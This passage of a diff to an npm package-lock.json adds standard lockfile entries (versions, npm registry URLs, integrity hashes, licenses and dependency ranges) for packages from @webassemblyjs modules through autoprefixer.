"node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz", + "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.12.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "license": "MIT", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "license": "Apache-2.0", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==", + "license": "MIT" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz", + "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-opt": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1", + "@webassemblyjs/wast-printer": "1.12.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz", + "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz", + "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz", + "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz", + "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==", + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.12.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "license": "BSD-3-Clause" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "license": "Apache-2.0" + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", + "deprecated": "Use your platform's native atob() and btoa() methods instead", + "license": "BSD-3-Clause" + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "license": "MIT", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.14.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz", + "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==", + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "license": "MIT", + "dependencies": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + } + }, + "node_modules/acorn-globals/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-attributes": { + "version": "1.9.5", + "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", + "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==", + "license": "MIT", + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-node": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz", + "integrity": "sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==", + "license": "Apache-2.0", + "dependencies": { + "acorn": "^7.0.0", + "acorn-walk": "^7.0.0", + "xtend": "^4.0.2" + } + }, + "node_modules/acorn-node/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-walk": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/address/-/address-1.2.0.tgz", + "integrity": "sha512-tNEZYz5G/zYunxFm7sfhAxkXEuLj3K6BKwv6ZURlsF6yiUQ65z0Q2wZW9L5cPUl9ocofGvXOdFYbFHp0+6MOig==", + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/adjust-sourcemap-loader": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz", + "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==", + "license": "MIT", + "dependencies": { + "loader-utils": "^2.0.0", + "regex-parser": "^2.2.11" + }, + "engines": { + "node": ">=8.9" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-draft-04": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/ajv-draft-04/-/ajv-draft-04-1.0.0.tgz", + "integrity": "sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw==", + "license": "MIT", + "peerDependencies": { + "ajv": "^8.5.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "license": "MIT", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "license": "MIT", + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "engines": [ + "node >= 0.8.0" + ], + "license": "Apache-2.0", + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "license": "MIT", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arch": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/arch/-/arch-2.2.0.tgz", + "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "license": "MIT" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "license": "Python-2.0" + }, + "node_modules/aria-query": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz", + "integrity": "sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA==", + "license": "Apache-2.0", + "dependencies": { + "@babel/runtime": "^7.10.2", + "@babel/runtime-corejs3": "^7.10.2" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-flatten": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz", + "integrity": "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.5", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-flatten": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==", + "license": "MIT" + }, + "node_modules/array-includes": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.5.tgz", + "integrity": "sha512-iSDYZMMyTPkiFasVqfuAQnWAYcvO/SeBSCGKePoEthjp4LEMTe4uLc7b025o4jAZpHhihh8xPo99TNWUWWkGDQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.19.5", + "get-intrinsic": "^1.1.1", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.0.tgz", + "integrity": "sha512-12IUEkHsAhA4DY5s0FPgNXIdc8VRSqD9Zp78a5au9abH/SOBrsp082JOWFNTjkMozh8mqcdiKuaLGhPeYztxSw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.2", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.0.tgz", + "integrity": "sha512-PZC9/8TKAIxcWKdyeb77EzULHPrIX/tIZebLJUQOMR1OwYosT8yggdfWScfTBCDj5utONvOuPQQumYsU2ULbkg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.2", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.reduce": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.4.tgz", + "integrity": "sha512-WnM+AjG/DvLRLo4DDl+r+SvCzYtD2Jd9oeBYMcEaI7t3fFrHY9M53/wdLcTvmZNQ70IU6Htj0emFkZ5TS+lrdw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.2", + "es-array-method-boxes-properly": "^1.0.0", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz", + "integrity": "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==", + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.3", + "es-errors": "^1.2.1", + "get-intrinsic": "^1.2.3", + "is-array-buffer": "^3.0.4", + "is-shared-array-buffer": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", + "license": "MIT" + }, + "node_modules/asn1": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz", + "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", + "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ast-types-flow": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz", + "integrity": "sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag==", + "license": "ISC" + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz", + "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ==", + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "license": "ISC", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/atob": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", + "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", + "dev": true, + "license": "(MIT OR Apache-2.0)", + "bin": { + "atob": "bin/atob.js" + }, + "engines": { + "node": ">= 4.5.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.7", + "resolved": 